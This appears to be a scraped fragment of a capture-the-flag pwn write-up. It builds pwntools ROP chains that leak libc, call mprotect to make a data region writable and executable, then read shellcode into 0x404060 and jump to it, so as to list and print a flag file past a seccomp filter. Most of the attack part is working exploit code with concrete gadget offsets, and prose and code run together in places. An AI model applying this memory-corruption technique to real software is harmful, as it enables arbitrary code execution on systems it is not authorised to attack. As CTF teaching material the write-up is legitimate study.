\ngetdents to identify the file name containing the Flag, then using read/write to print the file contents to stdout..data section contains the seccomp filter, but overwriting it at exploit time is fine. I’ll target the region containing 0x404060.mprotect to grant write and execute permission to the range 0x404000 to 0x405000 can be constructed as follows:system_addr = int(r.decode().split(\"\\n\")[0].split(\"@\")[1],16)\nlibc_baseaddress = system_addr - 0x50d70\nbinsh_addr = libc_baseaddress + 0x1d8678\nmprotect_addr = libc_baseaddress + 0x11eaa0\n\npop_rdx_r12_ret = libc_baseaddress + 0x13b649\npop_rdi_ret = libc_baseaddress + 0x1bbea1\npop_rsi_r15_ret = libc_baseaddress + 0x1bbe9f\nret = 0x4012fc\n\npayload = flat(\n b\"A\"*0x10 + b\"B\"*8,\n pop_rdx_r12_ret,\n 7,\n 9999,\n pop_rsi_r15_ret,\n 0x1000,\n 9999,\n pop_rdi_ret,\n 0x404000,\n mprotect_addr\n)\ntarget.sendline(payload)mprotect:mov rdx, 7 ; R|W|X\nmov rsi, 0x1000 ; target memory size\nmov rdi, {target_addr}0x404000 to 0x405000.Embedding a Payload at an Arbitrary Address
\n0x404000 to 0x405000, we embed the Shell Code into this address space rather than the stack.read to redirect the destination of bytes received from stdin to an arbitrary address.payload += flat(\n xor_rax_ret,\n pop_rdx_r12_ret,\n 0x100,\n 9999,\n pop_rsi_r15_ret,\n 0x404060,\n 9999,\n pop_rdi_ret,\n 0,\n syscall_ret\n)\ntarget.sendline(payload)\ntarget.send(b\"A\"*0x100)mov rdi, 0 ; fd = stdin\nmov rax, 0 ; read\nmov rsi, 0x404060 ; write destination\nmov rdx, 0x100 ; bytes to read\nsyscall0x404060 is filled with As:jmp_rsi appended at the end is used to jump directly to the buffer address held in the RSI register.